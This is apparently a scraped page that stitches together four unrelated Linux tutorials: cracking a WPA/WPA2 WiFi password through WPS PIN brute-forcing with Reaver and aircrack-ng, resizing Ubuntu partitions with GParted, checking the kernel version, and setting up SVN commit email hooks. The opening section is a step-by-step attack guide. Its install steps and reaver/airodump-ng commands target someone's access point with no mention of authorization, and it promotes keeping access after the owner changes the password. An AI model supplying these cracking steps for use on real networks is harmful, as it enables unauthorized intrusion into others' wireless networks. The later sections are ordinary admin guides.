Learn to Hack WIFI password with Ubuntu (WPA/WPA2)


In this hacking tutorial we are going to use a new vulnerability in WPA and WPA 2 (PSK/TKIP)Wireless passwords, this weak point is to attack WPS, Which is Wireless Protected Setup. This type of setup is built in 90% of routers to allow easy establishment of secure home wireless by the user, though it has been shown to fall to BruteForce Attacks. This BruteForce attack will try all combinations of Router’s PIN number (Provided by WPS) and access the router to reveal the password. This type of hack have many benefits such as, You can always have the Wireless Password even if It’s changed by knowing the PIN number.

Steps To Hack WPA/WPA2 Passwords using Ubuntu (Reaver)

Follow these simple steps.

Step 1 (Setting up Reaver 1.4 )

1) Open terminal and type
sudo -s
and then type your password.
2) Download Reaver (Better Download the Latest Version ) Place in a specified folder.
3) Open the Terminal and type
tar xvfz reaver-1.4.tar.gz
4) Install dependencies
sudo apt-get install libpcap-dev
then
sudo apt-get install libsqlite3-dev
Note: libpcap and libsqlite3 maybe included in your Ubuntu version but they are very important.
5) Enter the folder by typing
cd reaver-1.4/src
6) Type
./configure
7) Type
make
8) Type
 make install
Note: To test if Reaver have been successfully installed, Open a Terminal and Type ‘reaver’ and hit enter, it should list all Reaver’s sub commands.

Step 2 ( Hacking WPA/WPA2 Wireless)

After installing reaver 1.4, it’s time to proceed to the main part which is hacking wireless passwords that uses WPA/WPA2 Encryption.
Requirements:
Install aircrack-ng by typing
sudo apt-get install aircrack-ng
Airodump-ng / Airmon-ng commands
Reaver 1.4 (Install in Step 1)
1) We need to have the wireless BSSID (Mac address) so we use airodump-ng. Open a terminal and Type :
airmon-ng start wlan0
Type
airodump-ng mon0
It will lists the available wireless passwords, now copy the BSSID of the Access Point ( e.g : 00:11:28:32:49:55 )
2) Starting the attack type:
 reaver -i mon0 -b 00:11:28:32:49:55
Now it will start testing bruteforcing the PIN number of the vulnerability WPS (which we have spoke about it), and it will show you the WPA/WPA2 Password in the end of the Crack.
Note: You can use walsh -i mon0 to scan for vulnerable Access Points.
Screenshot:
learn2crack.comcontent from learntocrak

How to Resize Your Ubuntu Partitions

image

Whether you want to shrink your Ubuntu partition, enlarge it, or split it up into several partitions, you can’t do this while it’s in use. You’ll need a Ubuntu live CD or USB drive to edit your partitions.
The Ubuntu live CD includes the GParted partition editor, which can modify your partitions. GParted is a full-featured, graphical partition editor that acts as a frontend to a variety of Linux terminal commands.

Boot From CD or USB Drive

If you have the CD or USB drive you installed Ubuntu from, you can insert it into your computer and restart. If you don’t, you’ll have to create a new Ubuntu live media. You can download an Ubuntu ISO from Ubuntu.com and burn it a disc by right-clicking the downloaded ISO file and selecting Write to Disc.
image

If you’d rather use a USB drive, use the Startup Disk Creator application, which comes with Ubuntu. You’ll find it in the Dash.

image

Provide the Startup Disk Creator application with a Ubuntu ISO and a USB flash drive and it will create a live USB drive for you.

image

After creating the live media, insert it into your computer and restart. If the live environment doesn’t start, you may have to enter your computer’s BIOS and change its boot order. To access the BIOS, press the key that appears on you screen while your computer boots, often Delete, F1, or F2. You can find the appropriate key in your computer’s (or motherboard’s, if you assembled your own computer) manual.

Using GParted

While the GParted partition editor isn’t present by default on an installed Ubuntu system, it is included with the Ubuntu live environment. Launch GParted from the Dash to get started.
image

If you have multiple hard drives in your computer, select the appropriate one from the drop-down box at the top right corner of the GParted window.

image

Partitions can’t be modified while they’re in use – partitions in use have a key icon next to them. If a partition is mounted, unmount it by clicking the eject button in the file manager. If you have a swap partition, the Ubuntu live environment will likely have activated it. To deactivate the swap partition, right-click it and select Swapoff.


image

To resize a partition, right-click it and select Resize/Move.

image

The easiest way to resize a partition is by clicking and dragging the handles at either side of the bar, although you can also enter exact numbers. You can shrink any partition if it has free space.


image


Your changes won’t take effect immediately. Each change you make it queued, and appears in a list at the bottom of the GParted window.


image


Once you’ve shrunk a partition, you could use the unallocated space to create a new partition, if you like. To do so, right-click the unallocated space and select New. GParted will walk you through creating the partition.


image

If a partition has adjacent unallocated space, you can right-click it and select Resize/Move to enlarge the partition into the unallocated space.


image

To specify a new partition size, click and drag the sliders or enter an exact number into the boxes.

image

GParted shows a warning whenever you move the start sector of a partition. If you move the start sector of your Windows system partition (C:) or the Ubuntu partition containing your /boot directory – likely your primary Ubuntu partition – your operating system may fail to boot. In this case, we’re only moving the start sector of our swap partition, so we can ignore this warning. If you’re moving the start sector of your main Ubuntu partition, you’ll likely have to reinstall Grub 2 afterwards.
If your system does fail to boot, you can consult the Ubuntu wiki for several methods of reinstalling GRUB 2. The process is different from restoring the older GRUB 1 boot loader.


image

Click the green check mark icon on GParted’s toolbar to apply the changes when you’re finished.


image

Back ups are always important. However, back ups are particularly important if you’re modifying your partitions – a problem could occur and you may lose your data. Don’t resize your partitions until you’ve backed up any important data.


image


After you click Apply, GParted will apply all queued changes. This may take a while, depending on the changes you make. Don’t cancel the operation or power down your computer while the operation is in progress.

image


Restart your system and remove the CD or USB drive after performing the operations.

Linux Command: Show Linux Version

What command I need to type to display Linux kernel version and other information such as Linux distribution name? How do I check Linux kernel version number?

You need to use the following two commands:
[a] uname - Print kernel and system information.


[b] lsb_release - Print distribution-specific information.
[c] /proc/version file - Print running kernel information.

How to check linux kernel version number?

Open a shell prompt (or a terminal) and type the following command to see your current Linux kernel version:
$ uname -r

Sample outputs:
2.6.32-23-generic-pae

Or type the following command:
$ uname -mrs

Sample outputs:
Linux 2.6.32-23-generic-pae i686

To print all information, enter:
$ uname -a

Sample outputs:
Linux vivek-laptop 2.6.32-23-generic-pae #37-Ubuntu SMP Fri Jun 11 09:26:55 UTC 2010 i686 GNU/Linux
Where,
  • 2.6.32-23 - Linux kernel version number
  • pae - pae kernel type indicate that I'm accssing more than 4GB ram using 32 bit kernel.
  • SMP - Kernel that supports multi core and multiple cpus.

/proc/version file

Type the following command to see Linux version info:
$ cat /proc/version 


Sample outputs:
Linux version 3.2.0-0.bpo.1-amd64 (Debian 3.2.4-1~bpo60+1) (ben@decadent.org.uk) (gcc version 4.4.5 (Debian 4.4.5-8) ) #1 SMP Sat Feb 11 08:41:32 UTC 2012
The above output identifies the kernel version that is currently running. It includes the contents of /proc/sys/kernel/ostype, /proc/sys/kernel/osrelease, and /proc/sys/kernel/version files.

For example:
$ cat /proc/sys/kernel/{ostype,osrelease,version} 

Sample outputs:
Linux
3.2.0-0.bpo.1-amd64
#1 SMP Sat Feb 11 08:41:32 UTC 2012

Find Distribution Version

Type the following command:
$ cat /etc/*release

OR

$ lsb_release -a

Sample outputs:

No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 10.04 LTS
Release: 10.04
Codename: lucid

Here is another output from my Debian based server:
lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 6.0.6 (squeeze)
Release: 6.0.6
Codename: squeeze

from http://www.cyberciti.biz

Email Notification of SVN Commits

              
           To get an automatic email from a Subversion (SVN) server when a commit occurs on a repository you can use a post-commit hook on the SVN server. Hooks allow you (the server administrator) to execute a program or script when a particular event occurs in a repository on the SVN server (e.g. a commit, lock or revision properties change). So to get an email after a commit occurs, we need to call a program to create an email on the post-commit hook.
In the following examples my server has domain dharma.com, is running Ubuntu Server 14.04 LTS and includes a Postfix/sendmail email server. Change the directories, repositories and email addresses to suit your server.

Creating a Email Notify Hook

On the SVN server, example templates for hooks can be found in the hooks directory of the SVN repository. For example, my repositories are stored in the /var/svn directory. So for my dharma repository the templates are in the directory:
/var/svn/dharma/hooks/
To use an existing template, rename it, removing the .tmpl suffix:
$
sudo cp post-commit.tmpl post-commit
Now make the hook executable and owned by the web server:
$ sudo chown
www-data.www-data post-commit
$
sudo chmod u+x post-commit
Now the main part is to edit the hook (which is just a Shell script) to call a program to send an email. If you install subversion-tools there is a Perl script that will do it for you: /var/svn/dharma/conf/commit-email.pl.


Edit post-commit removing the example line calling mailer.py and adding a call to commit-email.pl. For example, the last 5 lines of my post-commit are:
REPOS="$1"
REV="$2"

# "$REPOS"/hooks/mailer.py
commit "$REPOS" $REV "$REPOS"/mailer.conf
/usr/share/subversion/hook-scripts/commit-email.pl
"$REPOS" "$REV" to_mail@dharma.com
-s "SVN Commit:"
--from from_mail@dharma.com
The first two lines above set variables, REPOS and REV, for the repository name and current revision, respectively. I commented out the example line that called mailer.py by starting the line with a #. Then the last line I added. It calls commit-email.pl which takes several input arguments, some of which are optional. The first two are the repository name and revision. The third is the destination email address. The remaining are optional. The -s "SVN Steve:" adds the given string to to the start of the email subject. The --from sets to from address in the email. For other options, look inside the Perl code itself in commit-email.pl: start at line 145 you can see the different options.
Now, when ever there is a commit on the repository, an email will be sent to the selected destination address summarising the commit, including revision number, log message and diff between the head and most recent revision.

Email Aliases

If you want to send an email to multiple people, then you can create an alias. Add a line like the following to the file /etc/aliases:
to_mail:
     user1@gmail.com,
user2@yahoo.com
and then run:
$
sudo newaliases
Now when the commit occurs an email is sent to to_mail@dharma.com , but this expands to two email address, user1@gmail.com and user2@yahoo.com .